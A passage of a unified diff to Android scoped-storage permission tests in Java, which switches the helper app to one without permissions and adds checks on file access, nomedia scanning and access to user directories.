-                assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
-                assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
-                assertCanDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath);
-
-                // System Gallery can't delete other app's pending and trashed pdf file.
-                assertFalse(isMediaTypeImageOrVideo(new File(pendingPdfFilePath)));
-                assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
-                assertCantDeletePathsAs(TEST_APP_A, pendingPdfFilePath, trashedPdfFilePath);
-            } finally {
-                denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            }
-        } finally {
-            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
+                () -> {
+                    otherAppExternalDataFile.createNewFile();
+                });
     }
 
     @Test
@@ -2044,12 +225,10 @@
         final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-
             // Create all of the files as another app
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppMusic.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppMusic.getPath())).isTrue();
 
             assertThat(otherAppPdf.delete()).isTrue();
             assertThat(otherAppPdf.exists()).isFalse();
@@ -2060,10 +239,9 @@
             assertThat(otherAppMusic.delete()).isTrue();
             assertThat(otherAppMusic.exists()).isFalse();
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppMusic.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppMusic.getAbsolutePath());
         }
     }
 
@@ -2080,10 +258,8 @@
         final File doesntExistPdf = new File(downloadDir, "nada-" + NONMEDIA_FILE_NAME);
 
         try {
-            installApp(TEST_APP_A);
-
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
 
             // We can read our image and pdf files.
             assertThat(myAppPdf.createNewFile()).isTrue();
@@ -2096,18 +272,15 @@
             assertAccess(doesntExistPdf, false, false, false);
 
             // We can check only exists for another app's files on root.
-            // Use content provider to create root file because TEST_APP_A is in
-            // scoped storage.
-            createFileUsingTradefedContentProvider(shellPdfAtRoot);
+            createFileAsLegacyApp(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            deleteFileUsingTradefedContentProvider(shellPdfAtRoot);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+            deleteAsLegacyApp(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
-            uninstallApp(TEST_APP_A);
         }
     }
 
@@ -2117,33 +290,31 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
         File topLevelDir = new File(getExternalStorageDir(), "Test");
         try {
-            installApp(TEST_APP_A);
-
-            // Let app A create a file in its data dir
+            // Let app B create a file in its data dir
             final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
             final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir");
             final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg");
-            assertThat(createFileAs(TEST_APP_A, otherAppExternalDataFile.getAbsolutePath()))
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath()))
                     .isTrue();
 
-            // We cannot read or write the file, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the file, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataFile.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataFile);
 
-            // We cannot read or write the dir, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the dir, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataDir.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataDir);
 
-            // We cannot read or write the sub dir, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the sub dir, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataSubDir.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataSubDir);
 
-            // We can read and write our own app dir, but app A cannot.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We can read and write our own app dir, but app B cannot.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     getExternalFilesDir().getAbsolutePath())).isFalse();
             assertCanAccessMyAppFile(getExternalFilesDir());
 
@@ -2152,13 +323,25 @@
             assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
             assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
 
-            createDirUsingTradefedContentProvider(topLevelDir);
+            createDirectoryAsLegacyApp(topLevelDir);
             assertDirectoryAccess(topLevelDir, true, false);
 
-            assertCannotReadOrWrite(new File("/storage/emulated"));
+            // We can see "/storage/emulated" exists, but not read/write to it, since it's
+            // outside the scope of external storage.
+            assertAccess(new File("/storage/emulated"), true, false, false);
+
+            // Verify we can enter "/storage/emulated/<userId>" and read
+            int userId = getContext().getUserId();
+            assertAccess(new File("/storage/emulated/" + userId), true, true, false);
+
+            // Verify we can't get another userId
+            int otherUserId = userId + 1;
+            assertAccess(new File("/storage/emulated/" + otherUserId), false, false, false);
+
+            // Or an obviously invalid userId (b/172629984)
+            assertAccess(new File("/storage/emulated/100000000000"), false, false, false);
         } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-            deleteDirUsingTradefedContentProvider(topLevelDir);
+            deleteAsLegacyApp(topLevelDir);
         }
     }
 
@@ -2172,10 +355,8 @@
         final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
         final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-
             // Have another app create a PDF
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
             assertThat(otherAppPdf.exists()).isTrue();
 
 
@@ -2204,22 +385,17 @@
             pdfInObviouslyWrongPlace.delete();
             topLevelPdf.delete();
             musicFile.delete();
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
         }
     }
 
     @Test
-    public void testCanCreateDefaultDirectory() throws Exception {
-        final File podcastsDir = getPodcastsDir();
-        try {
-            if (podcastsDir.exists()) {
-                deleteDirUsingTradefedContentProvider(podcastsDir);
-            }
-            assertThat(podcastsDir.mkdir()).isTrue();
-        } finally {
-            createDirUsingTradefedContentProvider(podcastsDir);
-        }
+    public void testManageExternalStorageCannotRenameAndroid() throws Exception {
+        pollForManageExternalStorageAllowed();
+
+        final File androidDir = getAndroidDir();
+        final File fooDir = new File(getAndroidDir().getAbsolutePath() + "foo");
+        assertThat(androidDir.renameTo(fooDir)).isFalse();
     }
 
     @Test
@@ -2232,9 +408,8 @@
         final File otherTopLevelFile = new File(getExternalStorageDir(),
                 "other" + NONMEDIA_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            createFileUsingTradefedContentProvider(otherTopLevelFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
+            createFileAsLegacyApp(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             // We can list other apps' files
@@ -2247,10 +422,9 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
+            deleteAsLegacyApp(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
         }
     }
 
@@ -2263,228 +437,112 @@
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
-            installApp(TEST_APP_A);
             // Apps can't query other app's pending file, hence create file and publish it.
             assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
             assertCanQueryAndOpenFile(otherAppPdf, "rw");
             assertCanQueryAndOpenFile(otherAppImg, "rw");
             assertCanQueryAndOpenFile(otherAppMusic, "rw");
             assertCanQueryAndOpenFile(otherHiddenFile, "rw");
         } finally {
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
         }
     }
 
-    @Test
-    public void testQueryOtherAppsFiles() throws Exception {
-        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
-        try {
-            installApp(TEST_APP_A);
-            // Apps can't query other app's pending file, hence create file and publish it.
-            assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-
-            // Since the test doesn't have READ_EXTERNAL_STORAGE nor any other special permissions,
-            // it can't query for another app's contents.
-            assertCantQueryFile(otherAppImg);
-            assertCantQueryFile(otherAppMusic);
-            assertCantQueryFile(otherAppPdf);
-            assertCantQueryFile(otherHiddenFile);
-        } finally {
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
-        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
-        try {
-            installApp(TEST_APP_A);
-            // Apps can't query other app's pending file, hence create file and publish it.
-            assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-
-            // System gallery apps have access to video and image files
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            assertCanQueryAndOpenFile(otherAppImg, "rw");
-            // System gallery doesn't have access to hidden image files of other app
-            assertCantQueryFile(otherHiddenFile);
-            // But no access to PDFs or music files
-            assertCantQueryFile(otherAppMusic);
-            assertCantQueryFile(otherAppPdf);
-        } finally {
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that System Gallery app can rename any directory under the default directories
-     * designated for images and videos, even if they contain other apps' contents that
-     * System Gallery doesn't have read access to.
+    /*
+     * b/174211425: Test that for apps bypassing database operations we mark the nomedia directory
+     * as dirty for create/rename/delete.
      */
     @Test
-    public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
-        final File dirInDcim = new File(getDcimDir(), TEST_DIRECTORY_NAME);
-        final File dirInPictures = new File(getPicturesDir(), TEST_DIRECTORY_NAME);
-        final File dirInPodcasts = new File(getPodcastsDir(), TEST_DIRECTORY_NAME);
-        final File otherAppImageFile1 = new File(dirInDcim, "other_" + IMAGE_FILE_NAME);
-        final File otherAppVideoFile1 = new File(dirInDcim, "other_" + VIDEO_FILE_NAME);
-        final File otherAppPdfFile1 = new File(dirInDcim, "other_" + NONMEDIA_FILE_NAME);
-        final File otherAppImageFile2 = new File(dirInPictures, "other_" + IMAGE_FILE_NAME);
-        final File otherAppVideoFile2 = new File(dirInPictures, "other_" + VIDEO_FILE_NAME);
-        final File otherAppPdfFile2 = new File(dirInPictures, "other_" + NONMEDIA_FILE_NAME);
+    public void testManageExternalStorageDoesntSkipScanningDirtyNomediaDir() throws Exception {
+        pollForManageExternalStorageAllowed();
+
+        final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File nomediaFile = new File(nomediaDir, ".nomedia");
+        final File mediaFile = new File(nomediaDir, IMAGE_FILE_NAME);
+        final File renamedMediaFile = new File(nomediaDir, "Renamed_" + IMAGE_FILE_NAME);
         try {
-            assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
+            if (!nomediaDir.exists()) {
+                assertTrue(nomediaDir.mkdirs());
+            }
+            assertThat(nomediaFile.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
 
-            executeShellCommand("touch " + otherAppPdfFile1);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+            assertThat(mediaFile.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(mediaFile)).isNotEqualTo(-1);
 
-            installAppWithStoragePermissions(TEST_APP_A);
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+            assertThat(mediaFile.renameTo(renamedMediaFile)).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(renamedMediaFile)).isNotEqualTo(-1);
 
-            assertCreateFilesAs(TEST_APP_A, otherAppImageFile1, otherAppVideoFile1);
-
-            // System gallery privileges don't go beyond DCIM, Movies and Pictures boundaries.
-            assertCantRenameDirectory(dirInDcim, dirInPodcasts, /*oldFilesList*/ null);
-
-            // Rename should succeed, but System Gallery still can't access that PDF file!
-            assertCanRenameDirectory(dirInDcim, dirInPictures,
-                    new File[] {otherAppImageFile1, otherAppVideoFile1},
-                    new File[] {otherAppImageFile2, otherAppVideoFile2});
-            assertThat(getFileRowIdFromDatabase(otherAppPdfFile1)).isEqualTo(-1);
-            assertThat(getFileRowIdFromDatabase(otherAppPdfFile2)).isEqualTo(-1);
+            assertThat(renamedMediaFile.delete()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(renamedMediaFile)).isEqualTo(-1);
         } finally {
-            executeShellCommand("rm " + otherAppPdfFile1);
-            executeShellCommand("rm " + otherAppPdfFile2);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
-            otherAppImageFile1.delete();
-            otherAppImageFile2.delete();
-            otherAppVideoFile1.delete();
-            otherAppVideoFile2.delete();
-            otherAppPdfFile1.delete();
-            otherAppPdfFile2.delete();
-            dirInDcim.delete();
-            dirInPictures.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Test that row ID corresponding to deleted path is restored on subsequent create.
-     */
-    @Test
-    public void testCreateCanRestoreDeletedRowId() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final ContentResolver cr = getContentResolver();
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
-            final long oldRowId = getFileRowIdFromDatabase(imageFile);
-            assertThat(oldRowId).isNotEqualTo(-1);
-            final Uri uriOfOldFile = MediaStore.scanFile(cr, imageFile);
-            assertThat(uriOfOldFile).isNotNull();
-
-            assertThat(imageFile.delete()).isTrue();
-            // We should restore old row Id corresponding to deleted imageFile.
-            assertThat(imageFile.createNewFile()).isTrue();
-            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(oldRowId);
-            assertThat(cr.openFileDescriptor(uriOfOldFile, "rw")).isNotNull();
-
-            assertThat(imageFile.delete()).isTrue();
-            installApp(TEST_APP_A);
-            assertThat(createFileAs(TEST_APP_A, imageFile.getAbsolutePath())).isTrue();
-
-            final Uri uriOfNewFile = MediaStore.scanFile(getContentResolver(), imageFile);
-            assertThat(uriOfNewFile).isNotNull();
-            // We shouldn't restore deleted row Id if delete & create are called from different apps
-            assertThat(Integer.getInteger(uriOfNewFile.getLastPathSegment())).isNotEqualTo(oldRowId);
-        } finally {
-            imageFile.delete();
-            deleteFileAsNoThrow(TEST_APP_A, imageFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that row ID corresponding to deleted path is restored on subsequent rename.
-     */
-    @Test
-    public void testRenameCanRestoreDeletedRowId() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File temporaryFile = new File(getDownloadDir(), IMAGE_FILE_NAME + "_.tmp");
-        final ContentResolver cr = getContentResolver();
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
-            final Uri oldUri = MediaStore.scanFile(cr, imageFile);
-            assertThat(oldUri).isNotNull();
-
-            Files.copy(imageFile, temporaryFile);
-            assertThat(imageFile.delete()).isTrue();
-            assertCanRenameFile(temporaryFile, imageFile);
-
-            final Uri newUri = MediaStore.scanFile(cr, imageFile);
-            assertThat(newUri).isNotNull();
-            assertThat(newUri.getLastPathSegment()).isEqualTo(oldUri.getLastPathSegment());
-            // oldUri of imageFile is still accessible after delete and rename.
-            assertThat(cr.openFileDescriptor(oldUri, "rw")).isNotNull();
-        } finally {
-            imageFile.delete();
-            temporaryFile.delete();
+            nomediaFile.delete();
+            mediaFile.delete();
+            renamedMediaFile.delete();
+            nomediaDir.delete();
         }
     }
 
     @Test
-    public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
-        File invalidFile = new File(getDownloadDir(), "<>");
-        File validFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> { invalidFile.createNewFile(); });
+    public void testScanDoesntSkipDirtySubtree() throws Exception {
+        pollForManageExternalStorageAllowed();
 
-            assertThat(validFile.createNewFile()).isTrue();
-            // We can't rename a file to a file name with invalid FAT characters.
-            assertCantRenameFile(validFile, invalidFile);
+        final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File topLevelNomediaFile = new File(nomediaDir, ".nomedia");
+        final File nomediaSubDir = new File(nomediaDir, "child_" + TEST_DIRECTORY_NAME);
+        final File nomediaFileInSubDir = new File(nomediaSubDir, ".nomedia");
+        final File mediaFile1InSubDir = new File(nomediaSubDir, "1_" + IMAGE_FILE_NAME);
+        final File mediaFile2InSubDir = new File(nomediaSubDir, "2_" + IMAGE_FILE_NAME);
+        try {
+            if (!nomediaDir.exists()) {
+                assertTrue(nomediaDir.mkdirs());
+            }
+            if (!nomediaSubDir.exists()) {
+                assertTrue(nomediaSubDir.mkdirs());
+            }
+            assertThat(topLevelNomediaFile.createNewFile()).isTrue();
+            assertThat(nomediaFileInSubDir.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+
+            // Verify creating a new file in subdirectory sets dirty state, and scanning the top
+            // level nomedia directory will not skip scanning the subdirectory.
+            assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile1InSubDir, nomediaDir);
+
+            // Verify creating a new file in subdirectory sets dirty state, and scanning the
+            // subdirectory will not no-op.
+            assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile2InSubDir, nomediaSubDir);
         } finally {
-            invalidFile.delete();
-            validFile.delete();
+            nomediaFileInSubDir.delete();
+            mediaFile1InSubDir.delete();
+            mediaFile2InSubDir.delete();
+            topLevelNomediaFile.delete();
+            nomediaSubDir.delete();
+            nomediaDir.delete();
+            // Scan the directory to remove stale db rows.
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
         }
     }
 
     @Test
     public void testAndroidMedia() throws Exception {
+        // Check that the app does not have legacy external storage access
+        assertThat(Environment.isExternalStorageLegacy()).isFalse();
+
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
 
-        try {
-            installApp(TEST_APP_A);
+        final File myMediaDir = getExternalMediaDir();
+        final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath()
+                .replace(THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
 
-            final File myMediaDir = getExternalMediaDir();
-            final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath().
-                    replace(THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-
-            // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
-            // image files and exactly like Downloads for documents.
-            assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, TEST_APP_A);
-            assertSharedStorageAccess(getDcimDir(), getDownloadDir(), TEST_APP_A);
-
-        } finally {
-            uninstallApp(TEST_APP_A);
-        }
+        // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
+        // image files and exactly like Downloads for documents.
+        assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, APP_B_NO_PERMS);
+        assertSharedStorageAccess(getDcimDir(), getDownloadDir(), APP_B_NO_PERMS);
     }
 
     @Test
@@ -2531,6 +589,52 @@
     }
 
     /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaData() throws Exception {
+        verifyInsertFromExternalMediaDirViaData_allowed();
+        verifyInsertFromExternalPrivateDirViaData_denied();
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaData() throws Exception {
+        verifyUpdateToExternalDirsViaData_denied();
+    }
+
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
+    private void assertCreateFileAndScanNomediaDirDoesntNoOp(File newFile, File scanDir)
+            throws Exception {
+        assertThat(newFile.createNewFile()).isTrue();
+        // File is not added to database yet, but the directory is marked as dirty so that next
+        // scan doesn't no-op.
+        assertThat(getFileRowIdFromDatabase(newFile)).isEqualTo(-1);
+
+        MediaStore.scanFile(getContentResolver(), scanDir);
+        assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+    }
+
+    /**
      * Verifies that files created by {@code otherApp} in shared locations {@code imageDir}
      * and {@code documentDir} follow the scoped storage rules. Requires the running app to hold
      * {@code READ_EXTERNAL_STORAGE}.
@@ -2549,62 +653,21 @@
             // .. but not the binary file
             assertFileAccess_existsOnly(otherAppBinary);
             assertThrows(FileNotFoundException.class, () -> {
-                assertFileContent(otherAppBinary, new String().getBytes()); });
+                assertFileContent(otherAppBinary, new String().getBytes());
+            });
         } finally {
             deleteFileAsNoThrow(otherApp, otherAppImage.getAbsolutePath());
             deleteFileAsNoThrow(otherApp, otherAppBinary.getAbsolutePath());
         }
     }
 
-    /**
-     * Test that IS_PENDING is set for files created via filepath
-     */
-    @Test
-    public void testPendingFromFuse() throws Exception {
-        final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        try {
-            assertTrue(pendingFile.createNewFile());
-            // Newly created file should have IS_PENDING set
-            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(1);
-            }
-
-            // If we query with MATCH_EXCLUDE, we should still see this pendingFile
-            try (Cursor c = queryFileExcludingPending(pendingFile, MediaColumns.IS_PENDING)) {
-                assertThat(c.getCount()).isEqualTo(1);
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(1);
-            }
-
-            assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
-
-            // IS_PENDING should be unset after the scan
-            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
-                assertTrue(c.moveToFirst());
-                assertThat(c.getInt(0)).isEqualTo(0);
-            }
-
-            installAppWithStoragePermissions(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
-            // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
-            try (Cursor c = queryFileExcludingPending(otherPendingFile, MediaColumns.IS_PENDING)) {
-                assertThat(c.getCount()).isEqualTo(0);
-            }
-        } finally {
-            pendingFile.delete();
-            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
 
     @Test
     public void testOpenOtherPendingFilesFromFuse() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         final File otherPendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherPendingFile);
 
             // We can read other app's pending file from FUSE via filePath
             assertCanQueryAndOpenFile(otherPendingFile, "r");
@@ -2612,41 +675,13 @@
             // We can also read other app's pending file via MediaStore API
             assertNotNull(openWithMediaProvider(otherPendingFile, "r"));
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that apps can't set attributes on another app's files.
-     */
-    @Test
-    public void testCantSetAttrOtherAppsFile() throws Exception {
-        // This path's permission is checked in MediaProvider (directory/external media dir)
-        final File externalMediaPath = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create the files
-            if (!externalMediaPath.exists()) {
-                assertThat(externalMediaPath.createNewFile()).isTrue();
-            }
-
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            // TEST_APP_A should not be able to setattr to other app's files.
-            assertWithMessage(
-                "setattr on directory/external media path [%s]", externalMediaPath.getPath())
-                .that(setAttrAs(TEST_APP_A, externalMediaPath.getPath()))
-                .isFalse();
-        } finally {
-            externalMediaPath.delete();
-            uninstallAppNoThrow(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherPendingFile.getAbsolutePath());
         }
     }
 
     @Test
     public void testNoIsolatedStorageCanCreateFilesAnywhere() throws Exception {
+        assertThat(Environment.isExternalStorageLegacy()).isTrue();
         final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
         final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
         final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
@@ -2661,44 +696,39 @@
 
     @Test
     public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
-        try {
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
+        assertThat(Environment.isExternalStorageLegacy()).isTrue();
+        // Let app A create a file in its data dir
+        final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
